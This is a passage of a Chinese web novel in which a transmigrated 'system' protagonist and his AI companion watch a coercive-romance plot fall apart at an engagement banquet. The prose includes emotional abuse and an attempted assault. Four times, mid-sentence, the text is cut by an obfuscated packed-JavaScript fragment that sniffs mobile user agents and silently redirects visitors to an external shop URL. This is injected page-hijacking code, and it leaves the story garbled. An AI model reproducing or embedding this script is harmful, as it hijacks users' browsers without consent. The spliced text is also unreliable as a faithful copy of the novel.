这条消息来得突然,很快在肖溪本应平静的心里投下一阵波澜,在今天之前他从来没想过自己可以那么平静地面对这个人。可是现在,他的心依然为他跳动着,却也可以冷静的看待面前发生的一切,他变化好多,脸上写满了疲惫,但一切又好像什么还是和以往一样。 肖溪想要开口,问问他最近怎么样,但这些脱口而出的关心还是被他强行咽了回去。或许他们两个就像现在这样分散天涯才是最好的选择。 只是他依然克制不住自己的关心,“甄老板,你能不能帮我劝他回去,就和他说,我会把欠他的钱还给他的,我已经攒到一些了,很快就能把这些都还清。” 还钱啊,又是一个关键剧情点。 他们无法改变的。肖溪肯定会把一笔钱打给霍云霆,而霍云霆会根据这笔钱的来源直接找到他住的地方。从此之后又发生了新的强制爱。 这剧情简直就是他追他逃循环往复,老套极了,他们竟然还不能改变。甄信实在是厌烦了这种套路,就不能干脆点分出个胜负吗? 想到这他马上给张叔打了个电话,有段时间没联系了,应该好好问问,“张叔,我之前送你那儿的那个实习生怎么样,他干活还麻利吗?吃得好吗,现在能吃多少了?” 一说这个,张叔就说不完的话,“小甄啊,你之前送过来说,让我给他多吃点,不要饿着人家,我还以为这家伙多能吃呢。结果就是一个小鸟胃,就那么一口饭就说饱了,一个大男人就吃那么点怎么行,放我这培训了这么些时间,好歹能勉强吃两碗了,还太少了,多吃点个头还能再窜窜不是。” 22.负负锁死(11) 多吃一碗啊。 甄信心里头悄悄盘算着,怎么都觉得两碗饭有点太少了。就那个小家伙,那么一个小胳膊小腿,不多吃点怎么经得住糟践。不行,绝对不行。 就算不能逆转什么,多少也得弄个金刚芭比出来是不。都是大男人,凭什么让别人掐着你的脖子,也应该让对方尝尝自己铁拳的味道。 你说你愿意为爱躺在别人身下就算了。打架也输?这事是不是就说不过去了。 甄信当机立断,“张叔,他吃的是不是有点太少了,大小伙子应该吃垮家里,想想当年,我胃口多好,张叔你自己当年胃口是不是。就是以前大家想吃吃不到,现在却想吃吃不了。你说说这事闹的……” 前头张叔没发觉有什么不对,现在他倒是感觉出来一点别的味道,“不对啊,信小子,你是不是憋着什么坏?” “瞧您这话说的,好像我就是个满肚子坏水的垃圾家伙儿似的。”甄信可不来,马上为自己辩驳几句,“我就是关心他,您看看那时候刚出院,这家伙瘦地那样儿,不知道的还以为这新时代还闹饥荒,我就是看不下去。” 这话说的也是——但他甄信是这样的人?别人他倒是信,甄信的话,这可信度多少都得打个折扣。 不过,那小子看着是有点可怜,无论喊他做什么事都乐意,嘴巴甜心眼好肯吃苦,在养牛场这些时间一句抱怨都没听见。张叔还真有点喜欢这个小家伙。 但他有时候也闹不明白,这家伙学东西认真,长得也漂漂亮亮,这么一个精神的小伙子应该在小姑娘里头很受欢迎才对。怎么整天都备受打击,夸什么都说自己不行。 刚开始张叔还以为他是谦虚,不要意思听夸奖,后头发现他是真的从心底这么觉得——这事就不对了。每个人都有自己擅长的事,怎么就一杆子打死,就觉得自己不行了?这个小家伙肯定是遇到事了。 碰到这种小年轻,张叔实在有点放心不下,忍不住多关心一点。他家里儿子也这么大,每天到处疯跑,浑身上下那腱子肉,两个混在一起,他都怕自己儿子一拳打死人家。 所以——今天还是给他多喂点吧。 张叔转头又去厨房里头炸鸡腿,直接去批发市场批来的大鸡腿,直接一大盆。下油锅炸到外酥里嫩,再淋上料汁,裹上满满的芝士。张叔也搞不清楚小年轻喜欢什么,但之前小健喜欢芝士多一点,他就一视同仁。芝士满地都快要溢出来。 就这样,□□还有点不满意,“老张,你这不够客气,酱料多备一点,海苔碎也撒上去。这样看起来更好吃。”□□也就是说一嘴,自己转身去厨房里拿出蛋黄酱,沙拉酱,还有番茄酱,三瓶一块儿往上挤,他自己管这叫一举三得。 正好半下午,小风吹着还让人有点打冷战,□□弄好就直接招呼人吃点心,“快快快,小溪子,过来吃点心,直接来六个,凑个六六大顺?” 哪个好人家吃点心直接来六个鸡腿的? 肖溪想往后躲,直接被□□一把拽住,“哎哎哎,别躲。那就先来两个,你不会连两个都吃不掉吧,等会儿要去按小牛犊了,不吃饭你可按不住。” 这话说的倒是真的有道理,肖溪看了一眼盆里,还是拿出一个鸡腿放嘴里咬了一口。这鸡腿看着酱料裹得厚,但吃起来倒是另一种感觉。 外皮炸得酥脆可口,没有丝毫油腻感。更绝的是酱料竟然是酸甜口的,回味还带着点辛辣,一口咬下去让人胃口都跟着好了不少。 □□相当自信,“你别看你哥哥我平时这么吊儿郎当的,但正经做点吃的那是真不赖,不和你开玩笑的。多来点,只有吃饱了才能继续努力干活,没什么事是吃饱了过不去的。” 他一拍肖溪肩膀,粗壮的大手震得肖溪肩膀发疼。之前肖溪觉得怎么都受不了,现在竟然开始逐渐适应,这个力道其实也没什么大不了。 眼前是一群群奔跑的小牛犊,在草场上玩的时候看着相当乖巧,一旦给它们看点病,里头不少刺头就会冒出来,只要被抓住就会疯狂踢蹬,不知道的还以为它们马上要进屠宰场呢。 这样的话,光靠一个人力量是绝对不行的。得靠集体的力量,甚至还得用上一点巧劲。 当牛犊狂奔着冲过来的时候,抓住交错的那瞬间,顺势把它推倒在地上。但牛犊在地上还会继续挣扎,这时候就需要几个大汉,直接一拥而上把牛犊压住,再把它四肢给捆起来。最好再把它吊在空中,只要四个蹄子一离地,那狂暴的牛犊就会瞬间温柔许多。 今天可是一个大工程。 刚开始肖溪在这里真的是哪哪都不习惯,弄个牛犊差点没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313812|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让自己被蹄子踢死。那时候还是□□一把把他从牛蹄子下头拖出来。从第一天大翻车开始,□□就让肖溪自己抱一只小牛犊回去练力气。刚出生没多久的小牛犊,毛摸着还软软的,让人看着就心里高兴。 肖溪天天看着它,好像自己心情也好了许多。这些温暖的东西总能给自己带来真正心灵上的安慰。他每天和小牛一起生活,把它抱着同进同出,之前的一切渐渐离他远去。 甚至有时候,肖溪都仿佛产生了一点错觉,仿佛自己葱一开始就在这儿似的。日积月累之下,他觉得自己好像确实是长胖了点。 今天也是这样,肖溪一点点也成为了按小牛的主力军。原来看着那么强壮的小牛现在力气也小了挺多,是不是因为这段时间他们朝夕相处,它们也不乐意那么折腾他。 □□一向是在牛场做熟了的,这些动作不要太利索,三下五除二就把活儿干得差不多。肖溪在旁边帮忙,两个人有说有笑,气氛是前所未有的快乐。 霍云霆看着面前这一切,目眦欲裂。肖溪——他从没想过肖溪竟然会背叛他! 他再也忍不下去,冲过去就想一巴掌扇在肖溪脸上,“肖溪,我从来没想过你竟然是这种人?你就那么迫不及待,连这种家伙都要……” “唉,你这人怎么说话的?”□□实在忍不了,面前这男人,看着人模狗样的,怎么一张嘴那么脏呢? “这是我和他的事,和你没关系。”霍云霆根本没把面前那个脏兮兮家伙放在眼里,转身死死盯着肖溪,“肖溪,你以为别人会真心喜欢你吗?你一辈子都是躲在地里肮脏的垃圾。” □□算是看清楚了,这家伙就是来找茬的。他往前一步,直接把人往后一推,“你这家伙是过来找麻烦的吧。人肖溪怎么样关你屁事……” 他就那么顺势轻轻一推,霍云霆控制不住地往后倒去,就和纸片一样呼啦啦摔在了地上,“这是什么东西,该死的泥土还是热的,你们这是什么鬼地方!” 完蛋了,那可不是什么泥土,那是新鲜产出的牛粪! □□一下子愣在原地,这……也没人说这大男人看着挺结实,一推就倒啊。 他刷一下举起手,尽力给自己撇清关系,“这真的和我没关系,我没用力啊。”他又没把这家伙当成小牛犊对付。 23.负负锁死(12) 就那么一点力气,这家伙就倒下了,他不会是来碰瓷的吧。 □□欲言又止,还是自认倒霉,“都是我的问题行了吧,出了什么事我负责,肖溪,你站旁边去。就是推了一把,大不了赔点钱,他这身衣服多少……” “你赔得起吗?”霍云霆起身,眼里满是怒火,“我这身可是高级纯手工定制,你这种土包子从来没见过,张口闭口就是赔,你以为这是你家里的垃圾吗?” 他这话说得倒是不假,纯羊绒大衣,不算品牌和定制,光是材质就已经值不少钱了。更何况对霍云霆这种人来说,落他面子又比任何事情还要让他难以忍受。 如果是以前,肖溪也会恐惧,也会瑟瑟发抖,也会试图把自己藏在角落里。但是现在不可以,如果因为自己给张叔他们带来灾难,他怎么可能过意得去。 所以肖溪站了出来,第一次堂堂正正站在霍云霆面前,他认识这个人那么久,他的心思,他比任何人都还要了解,“霍云霆,你想找的是我,有什么事就冲着我来,别磨磨唧唧把别人牵扯进来,否则我会看不起你。” 这话说的不能说不重,瞬间踩到了霍云霆敏感的尾巴,他立刻跳了起来,甚至顾不及自己手上沾着的那些东西,“肖溪,你什么意思,你翅膀硬了?觉得自己换个地方就换个人了?你在开什么玩笑,你就是个……” 呲—— 冰冷的水流冲在霍云霆身上,冻得他一激灵,肖溪面无表情地拿着水管,“冲一下吧,等会儿干了就难洗,霍先生你应该也不会希望自己满身乱七八糟东西坐上你宝贝车吧。” “你——”霍云霆想要像以往一样肆意打压他,此时却猛然发现,自己好像并不能对他怎么样。肖溪拥有的东西太少了,少到此时他竟然找不到任何威胁她的方法。 霍云霆僵硬这脖子转过来,看了一眼周围,“肖溪,如果你不听我的话,我就让这个养牛场破产,让他们手里点东西一样都卖不出去。” 不是,这家伙是不是脑子有问题? □□实在没忍住怼了他一句,“抱歉,你看到的这些就已经卖出去了,我们不愁门路。” 就这些牛,亲戚朋友分一分就差不多了,基本都流不到市面上。这个人还真有意思,说不过肖溪就想着威胁,就他这个脑子在这世界上还会有朋友吗? 谁会愿意和这么一个人在一起? 原本肖溪没觉得霍云霆这态度有什么不对,他们之间本来就是云泥之别,他也愿意自己多付出一点。但现在……他好像明白了,这里面就是不同的,只是他自己一直装作看不见,听不见而已。 肖溪实在忍不下去,“霍云霆,你走吧,不要在这里惹麻烦了。没有我,你可以如愿选择更好的人,和你期待的人在一起。” 原本停在原地的人被一点点推动,肖溪强行把他带离走到一边。他本以为这事会相当费力,但他真的推动了,让霍云霆按照自己想要的方向走。 或许霍云霆也是想找一个新的地方和他谈话,“肖溪,你以为现在这样就能破坏我的人生吗?不可能,我很快就要和我当初喜欢的人在一起,我们会过得很幸福,无论你怎么跳也不能破坏……” “那祝你幸福……”肖溪真的累了。他不知道为什么霍云霆非得到他面前来说这句话,他都已经自愿离开,为什么霍云霆还非得到他面前来显示存在感。 现在的他只剩下疲惫,由内而外的疲惫,累到他不想再多说一个字。 “霍先生,谢谢你过来看我,从今天开始,我们就没关系,以后也当做不认识吧。”明明他觉得自己已经放下了,但说到这句话,他还是觉得自己心痛难耐,仿佛生命中极其珍贵的一块被硬生生剜走。 但是没关系,他会缓过来的,一切都会变好的。他也应该开始属于自己新的人生了,不要一直停留在原地——肖溪。 可是,霍云霆不愿意了,他一把扯下自己湿透的衣服,随手一扔,直接把肖溪压在了后座上。为什么他看着那么生气,他在生气什么?“肖溪,你到底有没有心,离开我让你那么快乐吗?!” 他不快乐。 但这不是霍云霆需要的吗?为什么现在又转过头来埋怨自己。他真的越来越看不懂这个看似熟悉的男人。 肖溪试图唤醒身上这个男人的理智,“霍先生,你应该回到属于你自己的人生去。”没有他的,一开始按照预设开始的,他梦寐以求的,光辉灿烂的人生。 但这句话又挑起了他的愤怒,霍云霆几乎是报复性地撕扯他,“肖溪,好,很好,既然这样,把你的身体还给我,你自己说过的,你的一切都属于我,你的身体也一样!” 他的动作越发放肆,一切像是当初灾难重演。 “不行——”肖溪一用力,猛地掀翻了霍云霆。以前和高山一样坚固的男人,现在却和乌龟一般爬在地上,只能用语言无能狂怒。 之前的他是这样的吗? 肖溪看着自己双手,还有点不敢相信。他原本以为自己一辈子都不能逃离霍云霆的阴影,但现在看来,他也不过是一只外强中干的纸老虎。 霍云霆踉踉跄跄地爬起来,马上下了最后通牒,“肖溪,我命令你一天内滚回来,你要是不回来,我会用尽一切报复你。让你知道世界到底有多残酷。” 他会回去的。但不是当一条摇尾乞怜的狗回到他身边,肖溪心里暗自下定了决心。 不为任何人,就算是为了他自己,他也应该回来,把这个问题彻解决。如果一辈子都活成这种样子,他肯定会不甘心,他实在不能一辈子就这样浑浑噩噩的活。 “所以你就真的回来了?”甄信实在不能理解里面逻辑,想要和他一刀两断,一定要堂堂正正当面说。 怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321265|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么的,发短信不能分手?那时候过去找他不能分手?不对,按照他们两个的逻辑来说,他们根本都没开始过。直接找个地方重新来过不行吗? 肖溪回头望着甄信,眼睛里难以掩饰地流露出一丝哀求。“老板,我好像真的没有朋友,也没有人可以求助,所以,你可以帮帮我吗?” 不是,主角受直接求到他面前来,这事情对吗?总感觉有什么事好像超出他意料之外,走向了不可控制的方向。 甄信叹了口气,把话题拉回到头发上来,“所以,你过来是想剪什么发型呢?什么都可以和我说,我会尽力满足的。”都说一切从头开始,换个发型或许人生有所不同呢。 有时候人真的好像就是缺少一个出发的勇气。 肖溪专注地看着镜中的自己,熟悉又陌生,两侧偏分的碎发是因为霍云霆喜欢,就连他身上穿的衣服好像也是别人的选择。他好像从来都没自己选择过什么。 他闭上眼,压下心中放肆的情绪。“要不这样,老板,你给我剃给寸头吧,我想要找回原来的自己。” 寸头?不是,你是去大闹订婚现场,不是去团建改造,顶着这样一头造型出现,这辈子的脸都会丢光吧。可以,但没必要。 取悦自己并不是什么值得羞耻的事。 甄信把他脑袋转过来,让他仔细看着镜中的自己。“肖溪,你看,你的三庭五眼都长得很标准,但你的眼睛有时候看着有点雾蒙蒙的,让人很有探究的想法。” 这样一张脸,他却时常怀疑自己。甄信心理上可以理解,但他绝对不接受。没有什么配不配得上,每个人都值得更好的自己。这就是人生活的意义。 “所以,给你稍微修一修,剪个碎发就好。你要是能接受,甚至能给你刘海稍微挑染一点。都是最近年轻人很流行的发型。其实你皮肤白,挑战一下鲜艳的颜色也可以。” 看着店里头琳琅满目的发型,肖溪仿佛自己也重活了一次。他仔细看了看,忽然有了一个目标,“我想要试试把前面刘海梳上去,弄一个类似大背头的造型。” 他之前也有过这样的穿黑西装的梦,只是——每当他想要做点什么,面前总会出现许多阻碍,所有人都有那么多理由,只是忽略他的感受而已。 现在,他想试试。 “行啊,有什么不行。你五官布局很合理,把所有头发撩上去很合理,会让你的脸型显得更流畅。”甄信第一次那么认真,一点点给他细心修剪,一次次梳着头发,把突然冒出来的碎发剪掉。 整个发型在修剪下一点点初见雏形。最后再把头发梳上去,喷上发胶。本来这种发型其实挺难驾驭,但此时的肖溪看起来,真的有几分凌厉。 甄信脑海里闪过第一个念头——这家伙好像有点脱胎换骨了。 但一张嘴,“老板,我这样真的可以吗?会不会太过了?” 24.负负锁死(13) 这人真是没救了,都给他铺垫到这种程度了,张嘴老味道又回来了。甄信甚至开始怀疑,自己的选择到底是不是对的,这家伙又回到原来样子了? 肖溪摸摸镜子中的自己,陌生但是喜欢。所以有时候尝试并不算坏事。他也是时候走出去了——迎接属于自己的崭新生活。 他打开门,热烈地拥抱属于自己的新生。 这样的家伙,样子不赖。怎么都比以前死气沉沉的好多了。人就应该对未来充满一点希望,哪怕遇到问题也得觉得自己能够轻而易举把它干倒,这日子过起来才有盼头。 甄信想了想,还是喊住了肖溪,往他手里塞了一个防狼喷雾,“带着它,男孩子自己一个人外出也要注意安全。”现在外头坏人可多了,谁知道你碰到的那家伙到底是人是鬼呢。 肖溪没有拒绝,转身离开。 [老板,你就这样放他走了。按理来说,现在是他重大剧情点,在晚上订婚宴时候他会被虐身虐心,摔下楼梯成为一个跛子,之后眼角膜也会被拿走,安在霍云霆的白月光身上。] 简直是闻者伤心见者流泪,让人由衷感叹,世界上怎么会有如此倒霉之人。 萧岛实在是担心,[老板,要是肖溪走上悲惨命运,我们的任务就失败了。]在此之前,它从来没想过自己要是失败会怎么样。难道主脑会直接把它销毁吗? 萧岛急得团团转,差点把自己急成一团。 [你担心什么。]甄信相当淡定,[这些都是小事,很快都能解决的。我们一起进去看看到底会发生什么呗。] [这不是私人宴会吗?你怎么进去?] 山人自有妙计,大不了用点钞能力。他们这种人家,做点什么都是大张旗鼓的,他老早就知道他们选了哪家酒店大厨负责全部宴会菜品。他就稍微花了点钱,顶替了其中某个服务生的位置。 本来这个备选方案是给肖溪准备的,他用不上,甄信就自己美美顶上。多少也算是前排围观位。西装小马甲一穿,甄信往里头一站也是有模有样。谁能分清楚他到底是什么人呢? 前面客人还没来,后头已经热热闹闹开工了。大厨知道这些人家开宴会到底是为了什么,每样菜品都做得相当精致。至于剩下的边角料,直接淋上料汁给他们做了拌饭。还真别说,用料扎实的拌饭实在是好吃,看着埋汰一点,味道觉得没得说。 吃饱肚子再上岗,看着桌上摆着的菜品都没了当初的眼馋。 肖溪坐在自己房间里发呆,这个地下室的小房间他住了很久,本来以为自己会相当怀念,现在看起来也只是平常,里头属于他自己的东西竟然还装不满一个小箱子。 自己这些年的坚持到底是为了什么。他的付出和努力在别人看来真的有价值吗?他真的在意自己吗?或者说,在霍云霆心中,有没有一个角落属于自己。 虽然有些不舍,但现在好像真的到了告别的时刻。 望着镜子中的自己,肖溪甚至有些恍惚,以前的自己是这样的吗?刚从孤儿院被认领回来的自己,好像一直都挺爱笑的。但自己从什么时候开始,笑容渐渐消失?他都有些记不清了。 或许是他发呆的时间真的太久,等他起身时候才发现外面宴会已经开始了。他本来应该早早离开的。 里头是欢乐的歌舞聚会,这些热闹都不属于他。肖溪只想自己一个人静静的离开,但是他现在从地下室出来很难避开大厅,除非他直接右拐走到花园里。他想了想,还是往花园走,只要他走的够快,应该没有人会看见这里有个人悄悄离开。 可有的时候缘分就是那么奇妙,肖溪刚往外面走两步就正面碰上了一个人——本应该在里面的主人。 秦涵润死死挡住肖溪去路,浑身上下洋溢着胜利者的傲慢,“肖溪,你怎么还没走,赖在这里干什么?这可不是你应该来的地方。” “我正要走。”肖溪欲言又止,他本来有很多话要说,他应该说些什么,最后却只剩下了一句,“我马上就离开,祝你和霍先生幸福。” “不用你在这里装大度。云霆哥可不是我抢走的,他本来就属于我,是你,鸠占鹊巢那么久。”秦涵润话锋一转,又有了别的念头,“你是来祝福我们两个的?怎么不进去祝福,还是你不甘心。” 甄信在门口看到这一幕都震惊了,什么意思,你和自己亲爱的幸福的时候还得邀请你家那位前男友见证,你都不觉得膈应的吗? 这就是所谓有钱人家大房的气度?他可真是受教了。张嘴就行,可真客气。 他嘴上邀请不够,还直接那么做,硬生生拽着肖溪站在了大厅正中央。 聚光灯照在他身上,那么耀眼,刺眼到肖溪几乎睁不开眼,他原本以为自己会逃,逃到所有人都看不见自己的地方去,可当他真正站在这里,他本来以为自己会被这样点灿烂淹没,现在看看——也还好。 人还是这么些人,事情也是这样事情,根本没有什么差别,之前只是他自己驻足不前而已。 霍云霆一眼就看到了肖溪,他又气又急,简直压不住自己的怒火,“肖溪,你过来干什么,我不是和你说过,你就算要回来也不要今天,之前我让你来,你不屑一顾,现在你又要来捣乱,到底什么意思?” “不是我想要过来的,我只是收拾一点东西而已。”肖溪想为自己说几句话。 “东西?你吃霍家的用霍家的,还有什么属于你自己的东西?”霍云霆脱口而出。 原来,他在霍云霆心里是这样的,之前都是他恬不知耻。肖溪不知道自己现在到底应该怎样反应,只觉得整个人冷地可怕,一点点朝更深的地方坠落。 他甚至能清晰地听见自己的声音,“霍云霆,我想要跟你回来,是你邀请我的,十年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337915|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们在公园里相遇,我看到你被藏在草丛里,我给你换了地方,是你先朝我伸出手,邀请我加入这里!” 肖溪停顿了一下,努力压住自己泛滥的情绪,“因为我觉得我们两个之间有缘分,所以我愿意和你一起生活。如果你早和我不欢迎我到来,我绝对不会在这地方多留一秒!” 这声音实在响亮,响到在场所有人仿佛都能听见自己呼吸声。 不会吧,他们就是过来参加一个订婚宴,竟然碰到大瓜了?等会儿霍家反应过来,不会要求他们封口吧。但是吧,难得碰到这种大瓜,谁都不乐意走,都想留在这儿看看情况。 爱看热闹这些是放在血脉里头的,谁也改不了。 霍云霆眉毛抽动了两下,紧紧皱着眉,“肖溪,我本来以为你还有诚实这一个优点,没想到腻出去一趟,把这个也丢得一干二净。那时候救了我的明明是秦涵润。你真的让我太失望了。” 这里头还有他的事?秦涵润虽然脾气不好,但做人硬,是他就是他,不是他谁也不能让他承认。 “你们俩掰扯归掰扯,扯上我干什么。我可没救过你,去年我们刚刚认识。”秦涵润立刻把事情撇干净。 “不对。”霍云霆试图把事情弄清楚,“十年前,小青山公园,我们不是在那里遇见的吗?你还给了我一个小纪念品,是你自己做的串珠。” “十年前我在国外。”秦涵润很快明白里头到底发生了什么,“所以,霍云霆你是把我认成别人,以为我是那个,才对我展开追求。按照这样的情况来说,我才是里头这第三者?” 这事可真是引人发笑。 周围所有人都对他说,霍云霆对他真心不二,心里只有他一个,肖溪不要脸缠着霍云霆,所以他才对肖溪不假辞色,警告他认清属于自己的位置。 现在什么情况。他,秦涵润竟然是被错认的白月光,他,肖溪才是正主?他不就是被强行卷入的垃圾反派吗? 这人设可真让他感到恶心。 秦涵润连连后退,第一个反应就是绝对不能让别人把脏水泼到自己头上,“霍云霆,我可从来没说过以前和你认识,是你一开始就黏着我,一开始就自顾自认定了所谓事实,没管其他人说话。是你导致了这一切,我们这订婚,算了吧。看到你让我觉得恶心。” 他是哪个山沟沟里头跑出来的自大狂啊。 霍云霆还是不相信,“吊坠,你身上有他的吊坠,一模一样的。如果你不是,你怎么会有这个吊坠?” “你说那个塑料吊坠?拼夕夕买来的,也就八块钱,你去网上看看,有同款的几十万,毛病。”秦涵润一翻白眼,蹭蹭蹭走到自己家里人旁边,毫不留恋地离开。 还没结束,这订婚的另一个主角都离场了,今天彻底变成一场闹剧。在场还是有挺多宾客没走,单纯想要看看主人家到底怎么收场。 25.负负锁死(13) 从头到尾甄信就在旁边端着盘子等着。好不容易站在第一视角,没有仔仔细细看清楚都是他自己失职。 萧岛恨不得自己有个身体,也窜到前面看一看,[所以现在到什么剧情点了。霍云霆总算发现肖溪才是他的白月光吗?现在会不会悔不当初,会不会痛哭流涕?] [估计不会吧,这种人脑子里装的都是自大和水,绝对不会因为这种事情道歉的。]甄信早就把这种人看透了,即使再过个几十年都不会有任何长进。 [不对呀。但是……但是肖溪受伤那个剧情呢,按理来说他应该在这里受伤进医院,然后霍云霆想要他眼睛的呀。这个重要剧情就这样跳过了?] 按照剧情发展顺序来说,这个剧情点应该没办法规避的。 如脱缰般发展的剧情实在是让他不理解,难道所谓剧情限制都是对他们来说,主角团就是先天圣体,他们想怎么弄就怎么弄?虽然这些烂事和自己没关系。萧岛也难免觉得有些委屈,他第一次开始怀疑自己过来的目的,真的是让他过来为他们的爱情添砖加瓦的吗? 有的时候,他真的不得不承认甄老板说得对,有些人纯纯就是没苦硬吃,硬生生要给自己人生增加许多磨难。如果不谈恋爱,他们的生活不知道有多美好,非得要把自己折腾成这样。 如果肖溪没有碰到霍云霆,他会是从孤儿院考出去的完美榜样,靠着自己努力顺利考上重点大学,在大学里面勤工俭学,到处实习,毕业之后顺利留在宠物医院,每天都和小动物作伴,等到自己有资本之后,或许自己会开一家宠物诊所,在那里碰到自己一生的爱人。 无论从哪个角度看,这才是他应该得到的完美结局。现在呢,生活的一切全被搅乱地乱七八糟。 而他们却在逼迫肖溪继续选择原来的生活,他们为什么非得让肖溪回到所谓自己的命运中去?难道不谈恋爱是不正常的吗?难道他们就一定要给消息找一个所谓港湾吗?明明他自己也是一个顶天立地的男子汉。 萧岛的念头悄悄变了,它第一次对甄信说出这样的话,[老板,要不算了,我们现在就把任务提交了。让肖溪去过属于自己的人生也挺好的。] [你也觉得这小子不是人?]甄信立刻明白萧岛的意思。你说之前顾浩宸那家伙,虽然偏执,但人家至少一心一意,在道德方面绝对是无可指摘,只是方法上让人接受不了。而且人家一较劲,直接给白明轩买房买车送礼物,毛病虽然多,但后来就算被白明轩那样了,也没反悔说要把他手上托管的股权给要回来。 做到这份上,常理上不能理解,但是情感上,他们是确实相信这两个之间是有感情在的。霍云霆这是怎么回事呢,直接脚踩两条船。一点男德都没有,就这样一个家伙,竟然还对肖溪PUA,简直离谱。 [但是,我们得尊重一下肖溪的意见。]甄信总觉得肖溪有时候并不像看起来那么柔弱,只是——他没有证据,也不能轻易下决定。 [你难道打算袖手旁观吗?如果你不上我上。] [那么冲动干什么,这里都是保镖,难道我们能把这些保镖都干倒,带着肖溪杀出重围?你清醒一点好不好,你就只是一把剪刀,别干那些逞英雄的活儿。] 霍云霆实在不能忍受这样的场景,他几步冲出门外,硬生生把秦涵润拽了回来,“涵润,告诉我,这些都不是真的,你才是当年我遇到的那个小男孩,对不对?” 秦涵润真的恶心透了他这副自以为情圣的模样,怎么了,觉得全世界只有他一人男人,是个人都要对他深情不移,此生不换了?开什么玩笑,要不是他家里有两个钱,他秦涵润是那么不值钱的货色,谁都要倒贴? “撒手,霍云霆!”秦涵润的火气也上来了,毫不犹豫地痛骂,“霍云霆,你到底把人当成什么了,之间你死皮赖脸追我,说心里只有我一个,现在又说是因为我是你的所谓白月光。怎么,就为着童年一个影子,你这些时间的感情就喂狗了,那说明你的感情也就那样,简直是放屁。” 看着站在旁边一言不发的肖溪,他又是气不打一处来,“当初是你说的肖溪死缠烂打,我以为他是那种不要脸攀附富贵的人才对他不假辞色。合着他从小和你一起长大,是你的小跟班。认识那么多年,别人也没对不起你,说他两句好话很难吗?非得把人家贬到尘埃里。没有感情也得留个面子情。现在给我装什么无辜呢,不是你自己没有调查,自顾自认定,倒头来又怪到别人身上?你怎么那么不要脸呢。” 甄信在心里默默鼓掌——真是骂得漂亮。 简直是今日最佳嘴替,他想要说的话全都帮他说出来了,真是酣畅淋漓。秦先生,会说你就多说点,你的嘴,就是今天全场MVP。 “可是,我为你跳动的心是真的。”霍云霆看着面前两个人,一时竟陷入抉择之中。直到现在他才知道,无论哪一个,自己都不想放手。 “我呸——什么心为我跳动……”秦涵润一把甩开这家伙,“你喜欢的不是十年前那个小少年吗?你这家伙从根上就是烂的。别那你那堆烂泥充当真心,我觉得恶心。” 他转身看到站在原地的肖溪,别扭了一下,还是把话说了出来,“抱歉啊,之前对你态度那么不好,我以为你是小三来着,现在发现你不是小三,只是遇到了一个烂人。不过,我觉得我不需要向你道歉,毕竟,我这么一弄,让你看清楚一个烂人,我们算是两清了。” 秦涵润潇洒挥挥手,这次他是真的彻底离开了。 “不,涵润,你别走,给我一个机会,求求你回头看我一眼……”霍云霆这句话脱口而出,他想要去追秦涵润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367671|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。甄信正好挡在中间,一个华丽大转身,恰到好处地伸出一只脚,直接给他绊了个狗吃屎。 老早说了,做人不能太过分,迟早会翻车的啦。 霍云霆当场丢了个大脸,他利索地从地上爬上来,眼里喷薄的都是怒火,他转头冲向了肖溪,“肖溪,都是你,要不是你,事情不会变得那么糟,你怎么可能是当初帮助我的那个少年,都是你骗我的,对不对……” 啧啧啧,就这种情绪不稳定的家伙,放在家里头都是一个定时炸弹,绝对要敬而远之。 长辈们老早说过了,不要随便大发善心,救所谓的落难人,谁知道这些落难人到底是人是鬼呢,你看看,现在不是把自己弄到这么狼狈的地步了吗? 肖溪冷漠地看着自己面前这个人,他本该是无比伤心的,此时却分外冷静,甚至还有两分好笑,仿佛刚刚发生的一切都和自己无关。 原来在他心里,霍云霆无坚不摧,像是一座永远都无法逾越的大山。现在,当他真的掐上自己的脖子,却只是这样而已。力量并没有他想象的大,还比不过平时挣扎的小牛犊,肖溪只是捏住他的两边手腕,就轻而易举把他控制住了,“霍云霆,你能不能别闹了,别再任性了。” 